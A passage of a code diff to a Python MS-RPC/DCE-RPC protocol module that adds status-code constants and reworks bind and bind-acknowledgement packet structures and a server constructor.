+MSRPC_STATUS_CODE_RPC_S_UNSUPPORTED_NAME_SYNTAX = 0X16C9A0A6 | |
+MSRPC_STATUS_CODE_RPC_S_NO_MORE_ELEMENTS = 0X16C9A0A7 | |
+MSRPC_STATUS_CODE_RPC_S_NO_NS_PERMISSION = 0X16C9A0A8 | |
+MSRPC_STATUS_CODE_RPC_S_INVALID_INQUIRY_TYPE = 0X16C9A0A9 | |
+MSRPC_STATUS_CODE_RPC_S_PROFILE_ELEMENT_NOT_FOUND = 0X16C9A0AA | |
+MSRPC_STATUS_CODE_RPC_S_PROFILE_ELEMENT_REPLACED = 0X16C9A0AB | |
+MSRPC_STATUS_CODE_RPC_S_IMPORT_ALREADY_DONE = 0X16C9A0AC | |
+MSRPC_STATUS_CODE_RPC_S_DATABASE_BUSY = 0X16C9A0AD | |
+MSRPC_STATUS_CODE_RPC_S_INVALID_IMPORT_CONTEXT = 0X16C9A0AE | |
+MSRPC_STATUS_CODE_RPC_S_UUID_SET_NOT_FOUND = 0X16C9A0AF | |
+MSRPC_STATUS_CODE_RPC_S_UUID_MEMBER_NOT_FOUND = 0X16C9A0B0 | |
+MSRPC_STATUS_CODE_RPC_S_NO_INTERFACES_EXPORTED = 0X16C9A0B1 | |
+MSRPC_STATUS_CODE_RPC_S_TOWER_SET_NOT_FOUND = 0X16C9A0B2 | |
+MSRPC_STATUS_CODE_RPC_S_TOWER_MEMBER_NOT_FOUND = 0X16C9A0B3 | |
+MSRPC_STATUS_CODE_RPC_S_OBJ_UUID_NOT_FOUND = 0X16C9A0B4 | |
+MSRPC_STATUS_CODE_RPC_S_NO_MORE_BINDINGS = 0X16C9A0B5 | |
+MSRPC_STATUS_CODE_RPC_S_INVALID_PRIORITY = 0X16C9A0B6 | |
+MSRPC_STATUS_CODE_RPC_S_NOT_RPC_ENTRY = 0X16C9A0B7 | |
+MSRPC_STATUS_CODE_RPC_S_INVALID_LOOKUP_CONTEXT = 0X16C9A0B8 | |
+MSRPC_STATUS_CODE_RPC_S_BINDING_VECTOR_FULL = 0X16C9A0B9 | |
+MSRPC_STATUS_CODE_RPC_S_CYCLE_DETECTED = 0X16C9A0BA | |
+MSRPC_STATUS_CODE_RPC_S_NOTHING_TO_EXPORT = 0X16C9A0BB | |
+MSRPC_STATUS_CODE_RPC_S_NOTHING_TO_UNEXPORT = 0X16C9A0BC | |
+MSRPC_STATUS_CODE_RPC_S_INVALID_VERS_OPTION = 0X16C9A0BD | |
+MSRPC_STATUS_CODE_RPC_S_NO_RPC_DATA = 0X16C9A0BE | |
+MSRPC_STATUS_CODE_RPC_S_MBR_PICKED = 0X16C9A0BF | |
+MSRPC_STATUS_CODE_RPC_S_NOT_ALL_OBJS_UNEXPORTED = 0X16C9A0C0 | |
+MSRPC_STATUS_CODE_RPC_S_NO_ENTRY_NAME = 0X16C9A0C1 | |
+MSRPC_STATUS_CODE_RPC_S_PRIORITY_GROUP_DONE = 0X16C9A0C2 | |
+MSRPC_STATUS_CODE_RPC_S_PARTIAL_RESULTS = 0X16C9A0C3 | |
+MSRPC_STATUS_CODE_RPC_S_NO_ENV_SETUP = 0X16C9A0C4 | |
+MSRPC_STATUS_CODE_TWR_S_UNKNOWN_SA = 0X16C9A0C5 | |
+MSRPC_STATUS_CODE_TWR_S_UNKNOWN_TOWER = 0X16C9A0C6 | |
+MSRPC_STATUS_CODE_TWR_S_NOT_IMPLEMENTED = 0X16C9A0C7 | |
+MSRPC_STATUS_CODE_RPC_S_MAX_CALLS_TOO_SMALL = 0X16C9A0C8 | |
+MSRPC_STATUS_CODE_RPC_S_CTHREAD_CREATE_FAILED = 0X16C9A0C9 | |
+MSRPC_STATUS_CODE_RPC_S_CTHREAD_POOL_EXISTS = 0X16C9A0CA | |
+MSRPC_STATUS_CODE_RPC_S_CTHREAD_NO_SUCH_POOL = 0X16C9A0CB | |
+MSRPC_STATUS_CODE_RPC_S_CTHREAD_INVOKE_DISABLED = 0X16C9A0CC | |
+MSRPC_STATUS_CODE_EPT_S_CANT_PERFORM_OP = 0X16C9A0CD | |
+MSRPC_STATUS_CODE_EPT_S_NO_MEMORY = 0X16C9A0CE | |
+MSRPC_STATUS_CODE_EPT_S_DATABASE_INVALID = 0X16C9A0CF | |
+MSRPC_STATUS_CODE_EPT_S_CANT_CREATE = 0X16C9A0D0 | |
+MSRPC_STATUS_CODE_EPT_S_CANT_ACCESS = 0X16C9A0D1 | |
+MSRPC_STATUS_CODE_EPT_S_DATABASE_ALREADY_OPEN = 0X16C9A0D2 | |
+MSRPC_STATUS_CODE_EPT_S_INVALID_ENTRY = 0X16C9A0D3 | |
+MSRPC_STATUS_CODE_EPT_S_UPDATE_FAILED = 0X16C9A0D4 | |
+MSRPC_STATUS_CODE_EPT_S_INVALID_CONTEXT = 0X16C9A0D5 | |
+MSRPC_STATUS_CODE_EPT_S_NOT_REGISTERED = 0X16C9A0D6 | |
+MSRPC_STATUS_CODE_EPT_S_SERVER_UNAVAILABLE = 0X16C9A0D7 | |
+MSRPC_STATUS_CODE_RPC_S_UNDERSPECIFIED_NAME = 0X16C9A0D8 | |
+MSRPC_STATUS_CODE_RPC_S_INVALID_NS_HANDLE = 0X16C9A0D9 | |
+MSRPC_STATUS_CODE_RPC_S_UNKNOWN_ERROR = 0X16C9A0DA | |
+MSRPC_STATUS_CODE_RPC_S_SS_CHAR_TRANS_OPEN_FAIL = 0X16C9A0DB | |
+MSRPC_STATUS_CODE_RPC_S_SS_CHAR_TRANS_SHORT_FILE = 0X16C9A0DC | |
+MSRPC_STATUS_CODE_RPC_S_SS_CONTEXT_DAMAGED = 0X16C9A0DD | |
+MSRPC_STATUS_CODE_RPC_S_SS_IN_NULL_CONTEXT = 0X16C9A0DE | |
+MSRPC_STATUS_CODE_RPC_S_SOCKET_FAILURE = 0X16C9A0DF | |
+MSRPC_STATUS_CODE_RPC_S_UNSUPPORTED_PROTECT_LEVEL = 0X16C9A0E0 | |
+MSRPC_STATUS_CODE_RPC_S_INVALID_CHECKSUM = 0X16C9A0E1 | |
+MSRPC_STATUS_CODE_RPC_S_INVALID_CREDENTIALS = 0X16C9A0E2 | |
+MSRPC_STATUS_CODE_RPC_S_CREDENTIALS_TOO_LARGE = 0X16C9A0E3 | |
+MSRPC_STATUS_CODE_RPC_S_CALL_ID_NOT_FOUND = 0X16C9A0E4 | |
+MSRPC_STATUS_CODE_RPC_S_KEY_ID_NOT_FOUND = 0X16C9A0E5 | |
+MSRPC_STATUS_CODE_RPC_S_AUTH_BAD_INTEGRITY = 0X16C9A0E6 | |
+MSRPC_STATUS_CODE_RPC_S_AUTH_TKT_EXPIRED = 0X16C9A0E7 | |
+MSRPC_STATUS_CODE_RPC_S_AUTH_TKT_NYV = 0X16C9A0E8 | |
+MSRPC_STATUS_CODE_RPC_S_AUTH_REPEAT = 0X16C9A0E9 | |
+MSRPC_STATUS_CODE_RPC_S_AUTH_NOT_US = 0X16C9A0EA | |
+MSRPC_STATUS_CODE_RPC_S_AUTH_BADMATCH = 0X16C9A0EB | |
+MSRPC_STATUS_CODE_RPC_S_AUTH_SKEW = 0X16C9A0EC | |
+MSRPC_STATUS_CODE_RPC_S_AUTH_BADADDR = 0X16C9A0ED | |
+MSRPC_STATUS_CODE_RPC_S_AUTH_BADVERSION = 0X16C9A0EE | |
+MSRPC_STATUS_CODE_RPC_S_AUTH_MSG_TYPE = 0X16C9A0EF | |
+MSRPC_STATUS_CODE_RPC_S_AUTH_MODIFIED = 0X16C9A0F0 | |
+MSRPC_STATUS_CODE_RPC_S_AUTH_BADORDER = 0X16C9A0F1 | |
+MSRPC_STATUS_CODE_RPC_S_AUTH_BADKEYVER = 0X16C9A0F2 | |
+MSRPC_STATUS_CODE_RPC_S_AUTH_NOKEY = 0X16C9A0F3 | |
+MSRPC_STATUS_CODE_RPC_S_AUTH_MUT_FAIL = 0X16C9A0F4 | |
+MSRPC_STATUS_CODE_RPC_S_AUTH_BADDIRECTION = 0X16C9A0F5 | |
+MSRPC_STATUS_CODE_RPC_S_AUTH_METHOD = 0X16C9A0F6 | |
+MSRPC_STATUS_CODE_RPC_S_AUTH_BADSEQ = 0X16C9A0F7 | |
+MSRPC_STATUS_CODE_RPC_S_AUTH_INAPP_CKSUM = 0X16C9A0F8 | |
+MSRPC_STATUS_CODE_RPC_S_AUTH_FIELD_TOOLONG = 0X16C9A0F9 | |
+MSRPC_STATUS_CODE_RPC_S_INVALID_CRC = 0X16C9A0FA | |
+MSRPC_STATUS_CODE_RPC_S_BINDING_INCOMPLETE = 0X16C9A0FB | |
+MSRPC_STATUS_CODE_RPC_S_KEY_FUNC_NOT_ALLOWED = 0X16C9A0FC | |
+MSRPC_STATUS_CODE_RPC_S_UNKNOWN_STUB_RTL_IF_VERS = 0X16C9A0FD | |
+MSRPC_STATUS_CODE_RPC_S_UNKNOWN_IFSPEC_VERS = 0X16C9A0FE | |
+MSRPC_STATUS_CODE_RPC_S_PROTO_UNSUPP_BY_AUTH = 0X16C9A0FF | |
+MSRPC_STATUS_CODE_RPC_S_AUTHN_CHALLENGE_MALFORMED = 0X16C9A100 | |
+MSRPC_STATUS_CODE_RPC_S_PROTECT_LEVEL_MISMATCH = 0X16C9A101 | |
+MSRPC_STATUS_CODE_RPC_S_NO_MEPV = 0X16C9A102 | |
+MSRPC_STATUS_CODE_RPC_S_STUB_PROTOCOL_ERROR = 0X16C9A103 | |
+MSRPC_STATUS_CODE_RPC_S_CLASS_VERSION_MISMATCH = 0X16C9A104 | |
+MSRPC_STATUS_CODE_RPC_S_HELPER_NOT_RUNNING = 0X16C9A105 | |
+MSRPC_STATUS_CODE_RPC_S_HELPER_SHORT_READ = 0X16C9A106 | |
+MSRPC_STATUS_CODE_RPC_S_HELPER_CATATONIC = 0X16C9A107 | |
+MSRPC_STATUS_CODE_RPC_S_HELPER_ABORTED = 0X16C9A108 | |
+MSRPC_STATUS_CODE_RPC_S_NOT_IN_KERNEL = 0X16C9A109 | |
+MSRPC_STATUS_CODE_RPC_S_HELPER_WRONG_USER = 0X16C9A10A | |
+MSRPC_STATUS_CODE_RPC_S_HELPER_OVERFLOW = 0X16C9A10B | |
+MSRPC_STATUS_CODE_RPC_S_DG_NEED_WAY_AUTH = 0X16C9A10C | |
+MSRPC_STATUS_CODE_RPC_S_UNSUPPORTED_AUTH_SUBTYPE = 0X16C9A10D | |
+MSRPC_STATUS_CODE_RPC_S_WRONG_PICKLE_TYPE = 0X16C9A10E | |
+MSRPC_STATUS_CODE_RPC_S_NOT_LISTENING = 0X16C9A10F | |
+MSRPC_STATUS_CODE_RPC_S_SS_BAD_BUFFER = 0X16C9A110 | |
+MSRPC_STATUS_CODE_RPC_S_SS_BAD_ES_ACTION = 0X16C9A111 | |
+MSRPC_STATUS_CODE_RPC_S_SS_WRONG_ES_VERSION = 0X16C9A112 | |
+MSRPC_STATUS_CODE_RPC_S_FAULT_USER_DEFINED = 0X16C9A113 | |
+MSRPC_STATUS_CODE_RPC_S_SS_INCOMPATIBLE_CODESETS = 0X16C9A114 | |
+MSRPC_STATUS_CODE_RPC_S_TX_NOT_IN_TRANSACTION = 0X16C9A115 | |
+MSRPC_STATUS_CODE_RPC_S_TX_OPEN_FAILED = 0X16C9A116 | |
+MSRPC_STATUS_CODE_RPC_S_PARTIAL_CREDENTIALS = 0X16C9A117 | |
+MSRPC_STATUS_CODE_RPC_S_SS_INVALID_CODESET_TAG = 0X16C9A118 | |
+MSRPC_STATUS_CODE_RPC_S_MGMT_BAD_TYPE = 0X16C9A119 | |
+MSRPC_STATUS_CODE_RPC_S_SS_INVALID_CHAR_INPUT = 0X16C9A11A | |
+MSRPC_STATUS_CODE_RPC_S_SS_SHORT_CONV_BUFFER = 0X16C9A11B | |
+MSRPC_STATUS_CODE_RPC_S_SS_ICONV_ERROR = 0X16C9A11C | |
+MSRPC_STATUS_CODE_RPC_S_SS_NO_COMPAT_CODESET = 0X16C9A11D | |
+MSRPC_STATUS_CODE_RPC_S_SS_NO_COMPAT_CHARSETS = 0X16C9A11E | |
+MSRPC_STATUS_CODE_DCE_CS_C_OK = 0X16C9A11F | |
+MSRPC_STATUS_CODE_DCE_CS_C_UNKNOWN = 0X16C9A120 | |
+MSRPC_STATUS_CODE_DCE_CS_C_NOTFOUND = 0X16C9A121 | |
+MSRPC_STATUS_CODE_DCE_CS_C_CANNOT_OPEN_FILE = 0X16C9A122 | |
+MSRPC_STATUS_CODE_DCE_CS_C_CANNOT_READ_FILE = 0X16C9A123 | |
+MSRPC_STATUS_CODE_DCE_CS_C_CANNOT_ALLOCATE_MEMORY = 0X16C9A124 | |
+MSRPC_STATUS_CODE_RPC_S_SS_CLEANUP_FAILED = 0X16C9A125 | |
+MSRPC_STATUS_CODE_RPC_SVC_DESC_GENERAL = 0X16C9A126 | |
+MSRPC_STATUS_CODE_RPC_SVC_DESC_MUTEX = 0X16C9A127 | |
+MSRPC_STATUS_CODE_RPC_SVC_DESC_XMIT = 0X16C9A128 | |
+MSRPC_STATUS_CODE_RPC_SVC_DESC_RECV = 0X16C9A129 | |
+MSRPC_STATUS_CODE_RPC_SVC_DESC_DG_STATE = 0X16C9A12A | |
+MSRPC_STATUS_CODE_RPC_SVC_DESC_CANCEL = 0X16C9A12B | |
+MSRPC_STATUS_CODE_RPC_SVC_DESC_ORPHAN = 0X16C9A12C | |
+MSRPC_STATUS_CODE_RPC_SVC_DESC_CN_STATE = 0X16C9A12D | |
+MSRPC_STATUS_CODE_RPC_SVC_DESC_CN_PKT = 0X16C9A12E | |
+MSRPC_STATUS_CODE_RPC_SVC_DESC_PKT_QUOTAS = 0X16C9A12F | |
+MSRPC_STATUS_CODE_RPC_SVC_DESC_AUTH = 0X16C9A130 | |
+MSRPC_STATUS_CODE_RPC_SVC_DESC_SOURCE = 0X16C9A131 | |
+MSRPC_STATUS_CODE_RPC_SVC_DESC_STATS = 0X16C9A132 | |
+MSRPC_STATUS_CODE_RPC_SVC_DESC_MEM = 0X16C9A133 | |
+MSRPC_STATUS_CODE_RPC_SVC_DESC_MEM_TYPE = 0X16C9A134 | |
+MSRPC_STATUS_CODE_RPC_SVC_DESC_DG_PKTLOG = 0X16C9A135 | |
+MSRPC_STATUS_CODE_RPC_SVC_DESC_THREAD_ID = 0X16C9A136 | |
+MSRPC_STATUS_CODE_RPC_SVC_DESC_TIMESTAMP = 0X16C9A137 | |
+MSRPC_STATUS_CODE_RPC_SVC_DESC_CN_ERRORS = 0X16C9A138 | |
+MSRPC_STATUS_CODE_RPC_SVC_DESC_CONV_THREAD = 0X16C9A139 | |
+MSRPC_STATUS_CODE_RPC_SVC_DESC_PID = 0X16C9A13A | |
+MSRPC_STATUS_CODE_RPC_SVC_DESC_ATFORK = 0X16C9A13B | |
+MSRPC_STATUS_CODE_RPC_SVC_DESC_CMA_THREAD = 0X16C9A13C | |
+MSRPC_STATUS_CODE_RPC_SVC_DESC_INHERIT = 0X16C9A13D | |
+MSRPC_STATUS_CODE_RPC_SVC_DESC_DG_SOCKETS = 0X16C9A13E | |
+MSRPC_STATUS_CODE_RPC_SVC_DESC_TIMER = 0X16C9A13F | |
+MSRPC_STATUS_CODE_RPC_SVC_DESC_THREADS = 0X16C9A140 | |
+MSRPC_STATUS_CODE_RPC_SVC_DESC_SERVER_CALL = 0X16C9A141 | |
+MSRPC_STATUS_CODE_RPC_SVC_DESC_NSI = 0X16C9A142 | |
+MSRPC_STATUS_CODE_RPC_SVC_DESC_DG_PKT = 0X16C9A143 | |
+MSRPC_STATUS_CODE_RPC_M_CN_ILL_STATE_TRANS_SA = 0X16C9A144 | |
+MSRPC_STATUS_CODE_RPC_M_CN_ILL_STATE_TRANS_CA = 0X16C9A145 | |
+MSRPC_STATUS_CODE_RPC_M_CN_ILL_STATE_TRANS_SG = 0X16C9A146 | |
+MSRPC_STATUS_CODE_RPC_M_CN_ILL_STATE_TRANS_CG = 0X16C9A147 | |
+MSRPC_STATUS_CODE_RPC_M_CN_ILL_STATE_TRANS_SR = 0X16C9A148 | |
+MSRPC_STATUS_CODE_RPC_M_CN_ILL_STATE_TRANS_CR = 0X16C9A149 | |
+MSRPC_STATUS_CODE_RPC_M_BAD_PKT_TYPE = 0X16C9A14A | |
+MSRPC_STATUS_CODE_RPC_M_PROT_MISMATCH = 0X16C9A14B | |
+MSRPC_STATUS_CODE_RPC_M_FRAG_TOOBIG = 0X16C9A14C | |
+MSRPC_STATUS_CODE_RPC_M_UNSUPP_STUB_RTL_IF = 0X16C9A14D | |
+MSRPC_STATUS_CODE_RPC_M_UNHANDLED_CALLSTATE = 0X16C9A14E | |
+MSRPC_STATUS_CODE_RPC_M_CALL_FAILED = 0X16C9A14F | |
+MSRPC_STATUS_CODE_RPC_M_CALL_FAILED_NO_STATUS = 0X16C9A150 | |
+MSRPC_STATUS_CODE_RPC_M_CALL_FAILED_ERRNO = 0X16C9A151 | |
+MSRPC_STATUS_CODE_RPC_M_CALL_FAILED_S = 0X16C9A152 | |
+MSRPC_STATUS_CODE_RPC_M_CALL_FAILED_C = 0X16C9A153 | |
+MSRPC_STATUS_CODE_RPC_M_ERRMSG_TOOBIG = 0X16C9A154 | |
+MSRPC_STATUS_CODE_RPC_M_INVALID_SRCHATTR = 0X16C9A155 | |
+MSRPC_STATUS_CODE_RPC_M_NTS_NOT_FOUND = 0X16C9A156 | |
+MSRPC_STATUS_CODE_RPC_M_INVALID_ACCBYTCNT = 0X16C9A157 | |
+MSRPC_STATUS_CODE_RPC_M_PRE_V2_IFSPEC = 0X16C9A158 | |
+MSRPC_STATUS_CODE_RPC_M_UNK_IFSPEC = 0X16C9A159 | |
+MSRPC_STATUS_CODE_RPC_M_RECVBUF_TOOSMALL = 0X16C9A15A | |
+MSRPC_STATUS_CODE_RPC_M_UNALIGN_AUTHTRL = 0X16C9A15B | |
+MSRPC_STATUS_CODE_RPC_M_UNEXPECTED_EXC = 0X16C9A15C | |
+MSRPC_STATUS_CODE_RPC_M_NO_STUB_DATA = 0X16C9A15D | |
+MSRPC_STATUS_CODE_RPC_M_EVENTLIST_FULL = 0X16C9A15E | |
+MSRPC_STATUS_CODE_RPC_M_UNK_SOCK_TYPE = 0X16C9A15F | |
+MSRPC_STATUS_CODE_RPC_M_UNIMP_CALL = 0X16C9A160 | |
+MSRPC_STATUS_CODE_RPC_M_INVALID_SEQNUM = 0X16C9A161 | |
+MSRPC_STATUS_CODE_RPC_M_CANT_CREATE_UUID = 0X16C9A162 | |
+MSRPC_STATUS_CODE_RPC_M_PRE_V2_SS = 0X16C9A163 | |
+MSRPC_STATUS_CODE_RPC_M_DGPKT_POOL_CORRUPT = 0X16C9A164 | |
+MSRPC_STATUS_CODE_RPC_M_DGPKT_BAD_FREE = 0X16C9A165 | |
+MSRPC_STATUS_CODE_RPC_M_LOOKASIDE_CORRUPT = 0X16C9A166 | |
+MSRPC_STATUS_CODE_RPC_M_ALLOC_FAIL = 0X16C9A167 | |
+MSRPC_STATUS_CODE_RPC_M_REALLOC_FAIL = 0X16C9A168 | |
+MSRPC_STATUS_CODE_RPC_M_CANT_OPEN_FILE = 0X16C9A169 | |
+MSRPC_STATUS_CODE_RPC_M_CANT_READ_ADDR = 0X16C9A16A | |
+MSRPC_STATUS_CODE_RPC_SVC_DESC_LIBIDL = 0X16C9A16B | |
+MSRPC_STATUS_CODE_RPC_M_CTXRUNDOWN_NOMEM = 0X16C9A16C | |
+MSRPC_STATUS_CODE_RPC_M_CTXRUNDOWN_EXC = 0X16C9A16D | |
+MSRPC_STATUS_CODE_RPC_S_FAULT_CODESET_CONV_ERROR = 0X16C9A16E | |
+MSRPC_STATUS_CODE_RPC_S_NO_CALL_ACTIVE = 0X16C9A16F | |
+MSRPC_STATUS_CODE_RPC_S_CANNOT_SUPPORT = 0X16C9A170 | |
+MSRPC_STATUS_CODE_RPC_S_NO_CONTEXT_AVAILABLE = 0X16C9A171 | |
+ | |
+# Bind Time Feature Negotiation: | |
+# [MS-RPCE] 3.3.1.5.3 | |
+MSRPC_BIND_TIME_FEATURE_NEGOTIATION_PREFIX = "6CB71C2C-9812-4540-" | |
+MSRPC_BIND_TIME_FEATURE_NEGOTIATION_SECURITY_CONTEXT_MULTIPLEXING_SUPPORTED_BITMASK = 0x01 | |
+MSRPC_BIND_TIME_FEATURE_NEGOTIATION_KEEP_CONNECTION_ON_ORPHAN_SUPPORTED_BITMASK = 0x02 | |
+ | |
+MSRPC_STANDARD_NDR_SYNTAX = ('8A885D04-1CEB-11C9-9FE8-08002B104860', '2.0') | |
+ | |
class DCERPCException(Exception): | |
""" | |
This is the exception every client should catch regardless of the underlying | |
@@ -598,6 +1052,11 @@ class CtxItemResult(Structure): | |
('TransferSyntax','20s=""'), | |
) | |
+ def __init__(self, data = None, alignment = 0): | |
+ Structure.__init__(self,data, alignment) | |
+ if data is None: | |
+ self['Reason'] = b'' | |
+ | |
class SEC_TRAILER(Structure): | |
commonHdr = ( | |
('auth_type', 'B=10'), | |
@@ -607,6 +1066,15 @@ class SEC_TRAILER(Structure): | |
('auth_ctx_id','<L=747920'), | |
) | |
+ def __init__(self, data = None, alignment = 0): | |
+ Structure.__init__(self,data, alignment) | |
+ if data is None: | |
+ self['auth_type'] = RPC_C_AUTHN_GSS_NEGOTIATE | |
+ self['auth_level'] = RPC_C_AUTHN_LEVEL_CONNECT | |
+ self['auth_pad_len'] = 0 | |
+ self['auth_rsvrd'] = 0 | |
+ self['auth_ctx_id'] = 0x747920 | |
+ | |
class MSRPCHeader(Structure): | |
_SIZE = 16 | |
commonHdr = ( | |
@@ -692,7 +1160,7 @@ class MSRPCRespHeader(MSRPCHeader): | |
class MSRPCBind(Structure): | |
_CTX_ITEM_LEN = len(CtxItem()) | |
- structure = ( | |
+ structure = ( | |
('max_tfrag','<H=4280'), | |
('max_rfrag','<H=4280'), | |
('assoc_group','<L=0'), | |
@@ -702,8 +1170,9 @@ class MSRPCBind(Structure): | |
('_ctx_items', '_-ctx_items', 'self["ctx_num"]*self._CTX_ITEM_LEN'), | |
('ctx_items',':'), | |
) | |
- | |
+ | |
def __init__(self, data = None, alignment = 0): | |
+ self.__ctx_items = [] | |
Structure.__init__(self, data, alignment) | |
if data is None: | |
self['max_tfrag'] = 4280 | |
@@ -711,10 +1180,15 @@ class MSRPCBind(Structure): | |
self['assoc_group'] = 0 | |
self['ctx_num'] = 1 | |
self['ctx_items'] = b'' | |
- self.__ctx_items = [] | |
def addCtxItem(self, item): | |
self.__ctx_items.append(item) | |
+ | |
+ def getCtxItems(self): | |
+ return self.__ctx_items | |
+ | |
+ def getCtxItem(self,index): | |
+ return self.__ctx_items[index-1] | |
def getData(self): | |
self['ctx_num'] = len(self.__ctx_items) | |
@@ -722,14 +1196,23 @@ class MSRPCBind(Structure): | |
self['ctx_items'] += i.getData() | |
return Structure.getData(self) | |
-class MSRPCBindAck(MSRPCHeader): | |
+ def fromString(self, data): | |
+ Structure.fromString(self,data) | |
+ # Parse the ctx_items | |
+ data = self['ctx_items'] | |
+ for i in range(self['ctx_num']): | |
+ item = CtxItem(data) | |
+ self.__ctx_items.append(item) | |
+ data = data[len(item):] | |
+ | |
+class MSRPCBindAck(Structure): | |
_SIZE = 26 # Up to SecondaryAddr | |
_CTX_ITEM_LEN = len(CtxItemResult()) | |
structure = ( | |
('max_tfrag','<H=0'), | |
('max_rfrag','<H=0'), | |
('assoc_group','<L=0'), | |
- ('SecondaryAddrLen','<H&SecondaryAddr'), | |
+ ('SecondaryAddrLen','<H=&SecondaryAddr'), | |
('SecondaryAddr','z'), # Optional if SecondaryAddrLen == 0 | |
('PadLen','_-Pad','(4-((self["SecondaryAddrLen"]+self._SIZE) % 4))%4'), | |
('Pad',':'), | |
@@ -737,20 +1220,23 @@ class MSRPCBindAck(MSRPCHeader): | |
('Reserved','B=0'), | |
('Reserved2','<H=0'), | |
('_ctx_items','_-ctx_items','self["ctx_num"]*self._CTX_ITEM_LEN'), | |
- ('ctx_items',':'), | |
- ('_sec_trailer', '_-sec_trailer', '8 if self["auth_len"] > 0 else 0'), | |
- ('sec_trailer',':'), | |
- ('auth_dataLen','_-auth_data','self["auth_len"]'), | |
- ('auth_data',':'), | |
+ ('ctx_items',':') | |
) | |
def __init__(self, data = None, alignment = 0): | |
self.__ctx_items = [] | |
- MSRPCHeader.__init__(self,data,alignment) | |
+ Structure.__init__(self,data,alignment) | |
if data is None: | |
+ self['max_tfrag'] = 4280 | |
+ self['max_rfrag'] = 4280 | |
+ self['assoc_group'] = 0x1234 | |
+ # self['SecondaryAddrLen'] = 0 | |
+ # self['SecondaryAddr'] = "" | |
self['Pad'] = b'' | |
self['ctx_items'] = b'' | |
- self['sec_trailer'] = b'' | |
- self['auth_data'] = b'' | |
+ self['ctx_num'] = 0 | |
+ | |
+ def addCtxItem(self, item): | |
+ self.__ctx_items.append(item) | |
def getCtxItems(self): | |
return self.__ctx_items | |
@@ -758,6 +1244,14 @@ class MSRPCBindAck(MSRPCHeader): | |
def getCtxItem(self,index): | |
return self.__ctx_items[index-1] | |
+ def getData(self): | |
+ self['SecondaryAddrLen'] = len(self["SecondaryAddr"])+1 | |
+ self['Pad'] = '\x00'*((4-((self["SecondaryAddrLen"]+self._SIZE) % 4)) % 4) | |
+ self['ctx_num'] = len(self.__ctx_items) | |
+ for i in self.__ctx_items: | |
+ self['ctx_items'] += i.getData() | |
+ return Structure.getData(self) | |
+ | |
def fromString(self, data): | |
Structure.fromString(self,data) | |
# Parse the ctx_items | |
@@ -918,6 +1412,9 @@ class DCERPC_v5(DCERPC): | |
self.__confounder = b'' | |
self.__gss = None | |
+ def set_call_id(self, call_id): | |
+ self.__callid = call_id | |
+ | |
def set_session_key(self, session_key): | |
self.__sessionKey = session_key | |
@@ -1036,7 +1533,7 @@ class DCERPC_v5(DCERPC): | |
return 0 #mmm why not None? | |
if resp['type'] == MSRPC_BINDACK or resp['type'] == MSRPC_ALTERCTX_R: | |
- bindResp = MSRPCBindAck(resp.getData()) | |
+ bindResp = MSRPCBindAck(resp['pduData']) | |
elif resp['type'] == MSRPC_BINDNAK or resp['type'] == MSRPC_FAULT: | |
if resp['type'] == MSRPC_FAULT: | |
resp = MSRPCRespHeader(resp.getData()) | |
@@ -1051,7 +1548,7 @@ class DCERPC_v5(DCERPC): | |
else: | |
raise DCERPCException('Unknown DCE RPC fault status code: %.8x' % status_code) | |
else: | |
- raise DCERPCException('Unknown DCE RPC packet type received: %d' % resp['type']) | |
+ raise DCERPCException('Unknown DCE RPC packet type received: %.2x' % resp['type']) | |
# check ack results for each context, except for the bogus ones | |
for ctx in range(bogus_binds+1,bindResp['ctx_num']+1): | |
@@ -1060,7 +1557,7 @@ class DCERPC_v5(DCERPC): | |
msg = "Bind context %d rejected: " % ctx | |
msg += rpc_cont_def_result.get(ctxItems['Result'], 'Unknown DCE RPC context result code: %.4x' % ctxItems['Result']) | |
msg += "; " | |
- reason = bindResp.getCtxItem(ctx)['Reason'] | |
+ reason = ctxItems['Reason'] | |
msg += rpc_provider_reason.get(reason, 'Unknown reason code: %.4x' % reason) | |
if (ctxItems['Result'], reason) == (2, 1): # provider_rejection, abstract syntax not supported | |
msg += " (this usually means the interface isn't listening on the given endpoint)" | |
@@ -1074,7 +1571,7 @@ class DCERPC_v5(DCERPC): | |
if self.__auth_level != RPC_C_AUTHN_LEVEL_NONE: | |
if self.__auth_type == RPC_C_AUTHN_WINNT: | |
- response, self.__sessionKey = ntlm.getNTLMSSPType3(auth, bindResp['auth_data'], self.__username, | |
+ response, self.__sessionKey = ntlm.getNTLMSSPType3(auth, resp['auth_data'], self.__username, | |
self.__password, self.__domain, self.__lmhash, | |
self.__nthash, | |
use_ntlmv2=self._transport.doesSupportNTLMv2()) | |
@@ -1084,7 +1581,7 @@ class DCERPC_v5(DCERPC): | |
elif self.__auth_type == RPC_C_AUTHN_GSS_NEGOTIATE: | |
self.__cipher, self.__sessionKey, response = kerberosv5.getKerberosType3(self.__cipher, | |
self.__sessionKey, | |
- bindResp['auth_data']) | |
+ resp['auth_data']) | |
self.__sequence = 0 | |
@@ -1163,7 +1660,7 @@ class DCERPC_v5(DCERPC): | |
sec_trailer['auth_type'] = self.__auth_type | |
sec_trailer['auth_level'] = self.__auth_level | |
sec_trailer['auth_pad_len'] = 0 | |
- sec_trailer['auth_ctx_id'] = self._ctx + 79231 | |
+ sec_trailer['auth_ctx_id'] = self._ctx + 79231 | |
pad = (4 - (len(rpc_packet.get_packet()) % 4)) % 4 | |
if pad != 0: | |
@@ -1498,6 +1995,19 @@ class DCERPCServer(Thread): | |
self._sock = socket.socket() | |
self._sock.bind((self._listenAddress,self._listenPort)) | |
+ # We add this constructor in order to use this to use the class as a transport, but not rely on its sockets | |
+ def __init__(self, client_socket): | |
+ self._clientSock = client_socket | |
+ self._listenUUIDS = {} | |
+ self._boundUUID = b'' | |
+ self._callid = 1 | |
+ self._max_frag = None | |
+ self._max_xmit_size = 4280 | |
+ self.__log = LOG | |
+ | |
+ def set_client_socket(self, client_socket): | |
+ self._clientSock =client_socket | |
+ | |
def log(self, msg, level=logging.INFO): | |
self.__log.log(level,msg) | |
@@ -1522,6 +2032,9 @@ class DCERPCServer(Thread): | |
def getListenPort(self): | |
return self._sock.getsockname()[1] | |
+ def setClientSock(self, sock): | |
+ self._clientSock = sock | |
+ | |
def recv(self): | |
finished = False | |
retAnswer = b'' | |
@@ -1602,86 +2115,75 @@ class DCERPCServer(Thread): | |
self._callid += 1 | |
def bind(self,packet, bind): | |
- # Standard NDR Representation | |
- NDRSyntax = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0') | |
resp = MSRPCBindAck() | |
- resp['type'] = MSRPC_BINDACK | |
- resp['flags'] = packet['flags'] | |
